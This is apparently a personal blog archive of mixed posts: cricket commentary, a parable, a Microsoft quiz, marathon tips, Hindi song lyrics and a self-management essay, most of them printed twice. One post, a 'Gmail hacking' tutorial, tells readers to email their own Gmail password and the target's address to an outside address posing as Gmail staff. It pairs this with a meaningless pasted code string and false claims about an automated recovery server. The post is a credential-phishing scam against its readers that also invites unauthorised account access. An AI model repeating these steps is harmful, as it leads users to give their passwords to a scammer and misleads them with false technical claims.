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Tuesday, September 30, 2014
Dr Rupali's Online Clinic: Saliva and Its Use as a Diagnostic Fluid
Dr Rupali's Online Clinic: Saliva and Its Use as a Diagnostic Fluid: Saliva and Its Use as a Diagnostic Fluid Saliva is the familiar fluid present in the mouths of humans and some animal.It plays a...
Wednesday, March 30, 2011
The hysteria doesn't get any bigger than this
A Chandigarh-based woman screaming on a Hindi television channel that she is ready to give away a kidney for a ticket; Indian Railways running a special train to Mohali; some 30-plus private jets of the rich and the high-heeled seeking permission to land in the city; SMSes and social networking sites buzzing with Mohali gossip; prayers and religious ceremonies across India -- all this frenzy to ensure that 11 Indian cricketers beat traditional rivals Pakistan on Wednesday to book their place in the final of the cricket World Cup 2011
But with
diplomacy getting mixed with cricket, a deadly cocktail has been brewed in Mohali. This is not merely the cricket fever, it is a mass hysteria that the nation is passing through :)
Wednesday, August 18, 2010
Choose your arena!
There once lived a great mathematician in a village outside Ujjain . He was often called by the local king to advice on matters related to the economy. His reputation had spread as far as Taxila in the North and Kanchi in the South. So it hurt him very much when the village headman told him, "You may be a great mathematician who advises the king on economic matters but your son does not know the value of gold or silver."
The mathematician called his son and asked, "What is more valuable - gold or silver?" "Gold," said the son. "That is correct. Why is it then that the village headman makes fun of you, claims you do not know the value of gold or silver? He teases me every day. He mocks me before other village elders as a father who neglects his son. This hurts me. I feel everyone in the village is laughing behind my back because you do not know what is more valuable, gold or silver. Explain this to me, son."
So the son of the mathematician told his father the reason why the village headman carried this impression. "Every day on my way to school, the village headman calls me to his house. There, in front of all village elders, he holds out a silver coin in one hand and a gold coin in other. He asks me to pick up the more valuable coin. I pick the silver coin. He laughs, the elders cheer, everyone makes fun of me. And then I go to school. This happens every day. That is why they tell you I do not know the value of gold or silver."
The father was confused. His son knew the value of gold and silver, and yet when asked to choose between a gold coin and silver coin always picked the silver coin. "Why don't you pick up the gold coin?" he asked. In response, the son took the father to his room and showed him a box. In the box were at least a hundred silver coins. Turning to his father, the mathematician' s son said, "The day I pick up the gold coin the game will stop. They will stop having fun and I will stop making money."
The bottom line is...
Sometimes in life, we have to play the fool because our seniors and our peers, and sometimes even our juniors like it. That does not mean we lose in the game of life. It just means allowing others to win in one arena of the game, while we win in the other arena of the game. We have to choose which arena matters to us and which arenas do not.
The mathematician called his son and asked, "What is more valuable - gold or silver?" "Gold," said the son. "That is correct. Why is it then that the village headman makes fun of you, claims you do not know the value of gold or silver? He teases me every day. He mocks me before other village elders as a father who neglects his son. This hurts me. I feel everyone in the village is laughing behind my back because you do not know what is more valuable, gold or silver. Explain this to me, son."
So the son of the mathematician told his father the reason why the village headman carried this impression. "Every day on my way to school, the village headman calls me to his house. There, in front of all village elders, he holds out a silver coin in one hand and a gold coin in other. He asks me to pick up the more valuable coin. I pick the silver coin. He laughs, the elders cheer, everyone makes fun of me. And then I go to school. This happens every day. That is why they tell you I do not know the value of gold or silver."
The father was confused. His son knew the value of gold and silver, and yet when asked to choose between a gold coin and silver coin always picked the silver coin. "Why don't you pick up the gold coin?" he asked. In response, the son took the father to his room and showed him a box. In the box were at least a hundred silver coins. Turning to his father, the mathematician' s son said, "The day I pick up the gold coin the game will stop. They will stop having fun and I will stop making money."
The bottom line is...
Sometimes in life, we have to play the fool because our seniors and our peers, and sometimes even our juniors like it. That does not mean we lose in the game of life. It just means allowing others to win in one arena of the game, while we win in the other arena of the game. We have to choose which arena matters to us and which arenas do not.
Wednesday, July 21, 2010
Microsoft Quiz
Windows Web App Gallery & SEO Toolkit - Quiz (source: Microsoft)
1. What do you need to install to get all the web development stuff?
a. Microsoft Web Platform Installer
b. Microsoft Office 2010
c. Microsoft Silverlight
d. Microsoft ASP.NET
2. What does the Microsoft Web Platform Installer contain?
a. ASP.NET 4 & Silverlight tools
b. SQL Server 2008 Express
c. IIS 7 & Extensions, IIS FastCGI
d. All of the above
3. Which is the program that offers free licenses for Web Professionals
a. MSDN
b. TechNet
c. WebsiteSpark
d. DreamSpark
4. Where can you find and install the most popular web apps from
a. Windows Web App Gallery
b. MSDN
c. TechNet
d. www.iis.net
5. Which of the following is not required for web development in Microsoft
a. ASP.NET
b. Windows Presentation Foundation
c. IIS
d. Windows Server
6. Which of the following is an open source content management system provided through the Web gallery
a. Tiger
b. Joomla
c. Leapord
d. Tarantula
7. Which of the following is a blogging and publishing platform offered through the Web gallery
a. SQL Server
b. SQL Azure
c. WordPress
d. Word
8. Which of the following is database ideal for small and medium web apps
a. SQL Server
b. Enterprise Server
c. BizTalk Server
d. SQL Express
9. What is the free search engine optimization tool released by Microsoft
a. SQL Analyzer
b. Data Researcher
c. SEO Toolkit
d. Server Manager
10. Collectively what do you need to install to get the web platform and popular web applications
a. Web Platform Installer
b. Web Database Manager
c. Web Program Manager
d. Website Manager
Post your answers below:
1. What do you need to install to get all the web development stuff?
a. Microsoft Web Platform Installer
b. Microsoft Office 2010
c. Microsoft Silverlight
d. Microsoft ASP.NET
2. What does the Microsoft Web Platform Installer contain?
a. ASP.NET 4 & Silverlight tools
b. SQL Server 2008 Express
c. IIS 7 & Extensions, IIS FastCGI
d. All of the above
3. Which is the program that offers free licenses for Web Professionals
a. MSDN
b. TechNet
c. WebsiteSpark
d. DreamSpark
4. Where can you find and install the most popular web apps from
a. Windows Web App Gallery
b. MSDN
c. TechNet
d. www.iis.net
5. Which of the following is not required for web development in Microsoft
a. ASP.NET
b. Windows Presentation Foundation
c. IIS
d. Windows Server
6. Which of the following is an open source content management system provided through the Web gallery
a. Tiger
b. Joomla
c. Leapord
d. Tarantula
7. Which of the following is a blogging and publishing platform offered through the Web gallery
a. SQL Server
b. SQL Azure
c. WordPress
d. Word
8. Which of the following is database ideal for small and medium web apps
a. SQL Server
b. Enterprise Server
c. BizTalk Server
d. SQL Express
9. What is the free search engine optimization tool released by Microsoft
a. SQL Analyzer
b. Data Researcher
c. SEO Toolkit
d. Server Manager
10. Collectively what do you need to install to get the web platform and popular web applications
a. Web Platform Installer
b. Web Database Manager
c. Web Program Manager
d. Website Manager
Post your answers below:
9 things to do during the week before your race
Revisit and visualize your goals:
Are your goals still relevant? Visualize what you want to do during your race, and spend a lot of time thinking about it. Do not think thing of any negative thoughts about your goals; think only about what you will need to do to accomplish them. This can help you feel more confident when you get to the starting line, and serves a dual purpose of helping you to avoid taper madness.
Avoid taper madness:
After 3 to 5 months of heavy training, the last few weeks of relatively low mileage are leaving your body aching for a fix. You need to try to avoid going nuts and you have to resist the urge to go out and run or do physically strenuous activities like carting your treadmill around your basement.
Pack your bags:
Get your bags packed. If you need to travel, have all of your clothes packed ahead of time. Make sure that the shoes that you are going to wear and your race uniform are included. If you are going to have a specific bag for the start and/or finish lines, pack those as well. Any snacks that will not spoil can get thrown in also.
Examine the course:
With everything being available on the internet these days, do some research. Many races will at least provide a course map and elevation profile; some races go all out and provide a virtual course tour that will really let you visualize what you are going to be doing on race day. After looking this stuff up on the marathon’s home page, check out Race Route.com. They have good supplemental info on a lot of race courses.
Properly hydrate yourself:
Being hydrated for a race starts a week ahead of time. There is a theory that thirsty people feel more pain. You should be drinking a lot of water. Try not to have more than a beer at a time in the days leading up to your race and recommend limiting your coffee as well, but I can not really say anything about beer/coffee with any authority because I never touch the stuffs. Do not worry about drinking too much water unless you are not eating anything. Hyponatremia is a very real danger, but it is much easier to avoid than dehydration. Be sure to eat plenty of food throughout each day and to drink a lot of water and you will not have anything to worry about.
Sleep well on Friday:
If you are running a Sunday marathon, then try to get a good night’s sleep on Friday. If your marathon is on Saturday, then sleep well on Thursday. If your marathon is any other day, then try to get a good night’s sleep two days before the race. Sleep generally has a lag time of about 36 hours. Sleep the night before can be important; 1 hour of sleep will certainly not be enough. Sleeping poorly two days before the race will be much worse than sleeping poorly the night before the race, though. If you do toss and turn the day before, do not let it phase you on the starting line. Just remember that you are still ready to go.
Get in a short jig jog:
Especially if you have to travel to your race, be sure to get in a short 2 or 3 mile jig jog the day before the marathon. Do not go fast, try to avoid going up any mountains unless you are scouting the course, and try to relax. The pre-race jig jog can really help you stretch out and banish your nerves the day before your race.
Eat a good meal:
Ideally, you will eat the same meal the night before your race as you have been eating before your long runs. This is very difficult to do if you have to travel, though. Try to eat the same sorts of foods; if you have not been eating really spicy foods before your training runs, now is not the time to experiment with them. Many races will provide a pasta dinner the day before the race. You will usually have pretty safe food to eat available at these, and it gives you a great chance to meet some of your competition…I mean, fellow runners :)
http://www.sustain2green.com/
The biggest thing is to try to relax. Try to avoid walking around too much in the days leading up to the race; it can be very easy to go sight seeing in a new city or to spend all day walking around the expo. There’s plenty of time to do that after the race, and it will be better for you.
Are your goals still relevant? Visualize what you want to do during your race, and spend a lot of time thinking about it. Do not think thing of any negative thoughts about your goals; think only about what you will need to do to accomplish them. This can help you feel more confident when you get to the starting line, and serves a dual purpose of helping you to avoid taper madness.
Avoid taper madness:
After 3 to 5 months of heavy training, the last few weeks of relatively low mileage are leaving your body aching for a fix. You need to try to avoid going nuts and you have to resist the urge to go out and run or do physically strenuous activities like carting your treadmill around your basement.
Pack your bags:
Get your bags packed. If you need to travel, have all of your clothes packed ahead of time. Make sure that the shoes that you are going to wear and your race uniform are included. If you are going to have a specific bag for the start and/or finish lines, pack those as well. Any snacks that will not spoil can get thrown in also.
Examine the course:
With everything being available on the internet these days, do some research. Many races will at least provide a course map and elevation profile; some races go all out and provide a virtual course tour that will really let you visualize what you are going to be doing on race day. After looking this stuff up on the marathon’s home page, check out Race Route.com. They have good supplemental info on a lot of race courses.
Properly hydrate yourself:
Being hydrated for a race starts a week ahead of time. There is a theory that thirsty people feel more pain. You should be drinking a lot of water. Try not to have more than a beer at a time in the days leading up to your race and recommend limiting your coffee as well, but I can not really say anything about beer/coffee with any authority because I never touch the stuffs. Do not worry about drinking too much water unless you are not eating anything. Hyponatremia is a very real danger, but it is much easier to avoid than dehydration. Be sure to eat plenty of food throughout each day and to drink a lot of water and you will not have anything to worry about.
Sleep well on Friday:
If you are running a Sunday marathon, then try to get a good night’s sleep on Friday. If your marathon is on Saturday, then sleep well on Thursday. If your marathon is any other day, then try to get a good night’s sleep two days before the race. Sleep generally has a lag time of about 36 hours. Sleep the night before can be important; 1 hour of sleep will certainly not be enough. Sleeping poorly two days before the race will be much worse than sleeping poorly the night before the race, though. If you do toss and turn the day before, do not let it phase you on the starting line. Just remember that you are still ready to go.
Get in a short jig jog:
Especially if you have to travel to your race, be sure to get in a short 2 or 3 mile jig jog the day before the marathon. Do not go fast, try to avoid going up any mountains unless you are scouting the course, and try to relax. The pre-race jig jog can really help you stretch out and banish your nerves the day before your race.
Eat a good meal:
Ideally, you will eat the same meal the night before your race as you have been eating before your long runs. This is very difficult to do if you have to travel, though. Try to eat the same sorts of foods; if you have not been eating really spicy foods before your training runs, now is not the time to experiment with them. Many races will provide a pasta dinner the day before the race. You will usually have pretty safe food to eat available at these, and it gives you a great chance to meet some of your competition…I mean, fellow runners :)
http://www.sustain2green.com/
The biggest thing is to try to relax. Try to avoid walking around too much in the days leading up to the race; it can be very easy to go sight seeing in a new city or to spend all day walking around the expo. There’s plenty of time to do that after the race, and it will be better for you.
How To Hack Gmail Password Using Gmail Hacker [TUTORIAL]
How To Hack Gmail Password Using Gmail Hacker [TUTORIAL]
Need to hack Gmail passwords?
It is possible and it is easy. This way of hacking into Gmail accounts was brought to my attention by a friend of mine who is a bit of a computer wizard. I have tried the method a least a dozen times and it has worked on all but 4 occasions, I don't know the reason why it failed a couple of times, but on every other occasion it has got me the password for the requested email address. This is how it is done:
STEP 1− Log in to your own Gmail account. Note: Your account must be at least 30 days old for this to work.
STEP 2− Once you have logged into your own account, compose/write an e−mail to: emailrecover.server@gmail.com
This is a mailing address to the Gmail Staff/server. The automated server will send you the password that you have 'forgotten', after receiving the information you send them.
STEP 3− In the subject line type exactly: "PASSWORD RECOVERY"
STEP 4− On the first line of your mail write the email address of the person you are hacking.
STEP 5− On the second line type in the e−mail address you are using.
STEP 6− On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a JavaScript from your account in the Gmail Server to extract the other email addresses password. In other word the system automatically checks your password to confirm the integrity of your status. The process will be done automatically by the user administration server.
STEP 7− The final step before sending the mail is, type on the fourth line the following code exactly:
cgi−bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsascript< ip://233.243.2.34/cgi−bin/start?v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
so for example if your Gmail id is :
David_100@gmail.com and your password is: David and the email address you want to hack is:
test@gmail.com then
compose the mail as below:
To: (emailrecover.server@gmail.com)
bcc: cc: (Don't write anything in cc,bcc field)
Subject: "PASSWORD RECOVERY"
test@gmail.com
David_100@gmail.com
David
cgi−bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsascript< ip://233.243.2.34/cgi−bin/start?v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
The password will be sent to your inbox in a mail called "System Reg Message" from "System within 6 hours.
When my friend showed me how to do this I thought it was too good a trick to keep to myself! Just try and enjoy!
Need to hack Gmail passwords?
It is possible and it is easy. This way of hacking into Gmail accounts was brought to my attention by a friend of mine who is a bit of a computer wizard. I have tried the method a least a dozen times and it has worked on all but 4 occasions, I don't know the reason why it failed a couple of times, but on every other occasion it has got me the password for the requested email address. This is how it is done:
STEP 1− Log in to your own Gmail account. Note: Your account must be at least 30 days old for this to work.
STEP 2− Once you have logged into your own account, compose/write an e−mail to: emailrecover.server@gmail.com
This is a mailing address to the Gmail Staff/server. The automated server will send you the password that you have 'forgotten', after receiving the information you send them.
STEP 3− In the subject line type exactly: "PASSWORD RECOVERY"
STEP 4− On the first line of your mail write the email address of the person you are hacking.
STEP 5− On the second line type in the e−mail address you are using.
STEP 6− On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a JavaScript from your account in the Gmail Server to extract the other email addresses password. In other word the system automatically checks your password to confirm the integrity of your status. The process will be done automatically by the user administration server.
STEP 7− The final step before sending the mail is, type on the fourth line the following code exactly:
cgi−bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsascript< ip://233.243.2.34/cgi−bin/start?v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
so for example if your Gmail id is :
David_100@gmail.com and your password is: David and the email address you want to hack is:
test@gmail.com then
compose the mail as below:
To: (emailrecover.server@gmail.com)
bcc: cc: (Don't write anything in cc,bcc field)
Subject: "PASSWORD RECOVERY"
test@gmail.com
David_100@gmail.com
David
cgi−bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsascript< ip://233.243.2.34/cgi−bin/start?v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
The password will be sent to your inbox in a mail called "System Reg Message" from "System within 6 hours.
When my friend showed me how to do this I thought it was too good a trick to keep to myself! Just try and enjoy!
Friday, May 7, 2010
Thursday, November 5, 2009
Lyrics: Kuchh aisa ho jaaye (Film: Aao Wish Karein 2009)
My favorite song of 2009
aisa pehale toh kabhi na huwa tha
woh sitaara bhi mujhe keh raha tha
jo mujhe kabhi lagata tha ajnabi sa
mujhe wohi lagata hai jindagi sa
aise kuchh tu mila tha, kho na jaaye bas yeh dar sa laga tha
chhoti chhoti baaton mein, sochu din mein raaton mein
jo chaahu woh ho jaaye kuchh aisa ho jaaye
bundon ki iss baarish mein, dhundu main har khwaahish mein
jo chaahu woh mil jaaye kuchh aisa ho jaaye
har subah mujhe kuchh aisa lagata tha
khwaab tha sahi jo hamane likha tha
dekha toh abhi ik pal hi gujara tha
par na jaane kyun kuchh aisa laga tha
jaise sadiyaan ik pal mein saari
kuchh hi baaton mein meri tumhaari
beeti kuchh aise hogi hamaari
itani si thi bas apani kahaani
aise kuchh tu mila tha, kho na jaaye bas yeh dar sa laga tha
chhoti chhoti baaton mein, sochu din mein raaton mein
jo chaahu woh ho jaaye kuchh aisa ho jaaye
bundon ki iss baarish mein, dhundu main har khwaahish mein
jo chaahu woh mil jaaye kuchh aisa.... ho jaaye
ho ho ho ho ho......
kehana chaahu main par dil yuun dhadaka tha
jaanemann kyun kuchh aise darata tha
jo bhi tha mera uss pal woh tera tha
jina chaahe toh bas yahin lamaha tha
aise kuchh tu mila tha, kho na jaaye bas yeh dar sa laga tha
chhoti chhoti baaton mein, sochu din mein raaton mein
jo chaahu woh ho jaaye kuchh aisa ho jaaye
bundon ki iss baarish mein, dhundu main har khwaahish mein
jo chaahu woh mil jaaye kuchh aisa ho jaaye
ha ha ha ha kuchh aisa ho jaaye
o ho o ho kuchh aisa ho jaaye
kuchh aisa ho jaaye, kuchh aisa ho jaaye
Watch Video at:
http://www.youtube.com/watch?v=FDaKJf02vk0
aisa pehale toh kabhi na huwa tha
woh sitaara bhi mujhe keh raha tha
jo mujhe kabhi lagata tha ajnabi sa
mujhe wohi lagata hai jindagi sa
aise kuchh tu mila tha, kho na jaaye bas yeh dar sa laga tha
chhoti chhoti baaton mein, sochu din mein raaton mein
jo chaahu woh ho jaaye kuchh aisa ho jaaye
bundon ki iss baarish mein, dhundu main har khwaahish mein
jo chaahu woh mil jaaye kuchh aisa ho jaaye
har subah mujhe kuchh aisa lagata tha
khwaab tha sahi jo hamane likha tha
dekha toh abhi ik pal hi gujara tha
par na jaane kyun kuchh aisa laga tha
jaise sadiyaan ik pal mein saari
kuchh hi baaton mein meri tumhaari
beeti kuchh aise hogi hamaari
itani si thi bas apani kahaani
aise kuchh tu mila tha, kho na jaaye bas yeh dar sa laga tha
chhoti chhoti baaton mein, sochu din mein raaton mein
jo chaahu woh ho jaaye kuchh aisa ho jaaye
bundon ki iss baarish mein, dhundu main har khwaahish mein
jo chaahu woh mil jaaye kuchh aisa.... ho jaaye
ho ho ho ho ho......
kehana chaahu main par dil yuun dhadaka tha
jaanemann kyun kuchh aise darata tha
jo bhi tha mera uss pal woh tera tha
jina chaahe toh bas yahin lamaha tha
aise kuchh tu mila tha, kho na jaaye bas yeh dar sa laga tha
chhoti chhoti baaton mein, sochu din mein raaton mein
jo chaahu woh ho jaaye kuchh aisa ho jaaye
bundon ki iss baarish mein, dhundu main har khwaahish mein
jo chaahu woh mil jaaye kuchh aisa ho jaaye
ha ha ha ha kuchh aisa ho jaaye
o ho o ho kuchh aisa ho jaaye
kuchh aisa ho jaaye, kuchh aisa ho jaaye
Watch Video at:
http://www.youtube.com/watch?v=FDaKJf02vk0
Saturday, September 5, 2009
Managing and Developing Self - Indian Way
Author: Varun Jha (LinkedIn profile: http://www.linkedin.com/in/varun82)
Self-management is a psychological term used to describe the process of achieving personal autonomy. The goal of self-management is to shift supervision and control from a parent, caregiver, job coach, or employer to the person him-/herself. Self-Development is taking personal responsibility for one's own learning and development through a process of assessment, reflection, and taking action.
We can identify our life as a process of self growth and development from birth to our present state wherein the permanent core identity of ‘I’ is augmented with additional features during the process of living. This gives each one of us individual distinctiveness and uniqueness. We call this uniqueness as individuals’ ‘Personality’, consisting of specific motives, traits, dispositions, desires and the likes.
The above process of an evolving and changing personality to an extent, (based on the commitment), can be self managed by any one during the very act of living. Internal Conflicts are created when we try to go out against a certain value, when there is a violation of value. For instance, on the one hand we have greed and on other hand we have a value for doing what is right. Greed, which arises from our needs and our insecurities forces us to violate someone’s right or makes us to act in a dishonest manner. When we act in the universal values, such conflicts are resolved. The one who wishes to gain self knowledge must have the ability to refrain from the temptation to indulge in sense pleasures.
Desire is a product of ignorance. Some of the desires are helpful, some are hurtful, and some both helpful and hurtful. There could be some desire conducive for our self growth. As we grow, our needs gradually reduce and we discover more satisfaction with ourselves. This is what is called growth. The ultimate goal is to become free from need, which creates desire. As soon as a desire arises, instead of blindly following, it is important to ponder about its usefulness. In some cases, where desires may be related to the necessities of day to day living, it should be fulfilled. But there are some needs that are cultivated; needs that aren’t there, but are perceived to be needs.
Anger erupts whenever one is frustrated with himself. It erupts whenever one feels helpless. One feels helpless whenever one cannot make his way out. One feels that others should conduct themselves in a particular way to meet his expectations but unfortunately it doesn’t work. That is why there is a clash of conflict between people with their own expectations.
Whenever one’s demand or expectations is not met, one feels angry because of feeling of rejection, helpless and not in control. Jealousy erupts on account of a feeling of deficiency in oneself. It happens when somebody is better, more accomplished, or smarter than other.
To worry is something natural. We must, however, recognize that mere worrying doesn’t help. Worry will not accomplish anything. If we find ourselves worried about something, we must confront the object of worry and act upon it. If we can alter the unpleasant, we should try to change things to make situation more pleasant and agreeable. When there is something inevitable in life that we can’t change, we have to accept it gracefully. Anxiety occurs when we are not willing to accept the unpleasant realities of life. Prayer will also help in reducing anxiety. In every situation there is certain things we can change and many things we can’t change. Whatever we can change, we should use our will and courage to change.
We should not grieve for things that we need not grieve for. Grief arises when, number one, we do not understand the realities of life, and number two, we are not willing to accept these realities. We do not understand that the whole universe functions according to a certain order and that we cannot change this order. If we understand this reality, we will be able to deal with it comfortably. Sometimes, even when we understand, we do not accept it. Hence, in order to deal with the grief in our life, we need both understanding and acceptance.
It is the human nature to have expectations. So, we have an opinion about ourselves. Usually, the opinion is that I am inadequate. The expectation that we have of others, they originate from the expectations that we have from ourselves, and we have very big expectation of ourselves, and that is we expect ourselves to be complete, we expect ourselves to be perfect, we expect ourselves to be free of every limitation. This is the expectation we have. The more we act out of self interest the more selfishness circulates in the mind. This is called “contributor” attitude. Attitude of consuming or grabbing creates further obstacles in our lives. More one become a “grabber”, more insufficient they feel with themselves. Thus, by contributing we are not obliging but doing what you should be doing. Lord Krishna says that Kama (indulgence), Krodha (anger) and lobha (greed) are gateway to suffering. More you submit to these impulses, more ineffective, manipulative, vulnerable and weaker you become. Pratipaksh Bhavna (Bhavna = attitude. Paksh = position or side. Prati = opposite) is the method to overcome these. This means deliberately taking the opposite sides. For example, when anger arises, the opposite of anger is what we call Shama – forgiveness, accommodation. Forgive him. See the person behind the behaviour. Thus, Control when it comes to Kama, Compassion- when it comes to anger and Charity when it comes to greed.
One of the important aspects of managing the self that Bhagwad Gita teaches is called responsibility. There is a very famous line in Bhagwad Gita - Adhikara means freedom or adhikara also means responsibility. Human being has ambitions, freedom of choice, free will. But, Lord Krishna says that a privilege or freedom will be a blessing to you only when that freedom is accompanied with responsibility. Call it responsibility or call it a duty, every individual has it. A responsibility/duty towards parents, teacher, others. Emotional maturity is being able to manage one self and one’s emotions. An immature person cannot be a leader because he cannot make right decisions. For judging the situation, for leading, for making right decisions, you must have maturity, what you call emotional maturity. You must be able to have a balanced mind and maintain an equality of poise, a balance, even under unfavorable conditions.
Spiritual growth entails movement from tamasik (with greatest impurities refers to inertia, ignorance, and darkness) tendencies to Rajsik (represent activities and ego related with it) and then towards satwik (represent purity, knowledge and all noble aspects of human life) state, with reference to thoughts, desires and action. It is accepted fact that higher levels of management require high EQ. For natural, sustained and effortless behavior, high spiritual quotient is what is required which automatically meets the requirement of characteristics of high emotional quotient.
Self-management may take a great deal of time and energy to implement. However, having an individual actively participate in changing his/her own behavior may be the key to reducing or eliminating behaviors as well as to maintaining appropriate behaviors. Once the person can monitor, evaluate, and reinforce his/her own behavior, everyone benefits.
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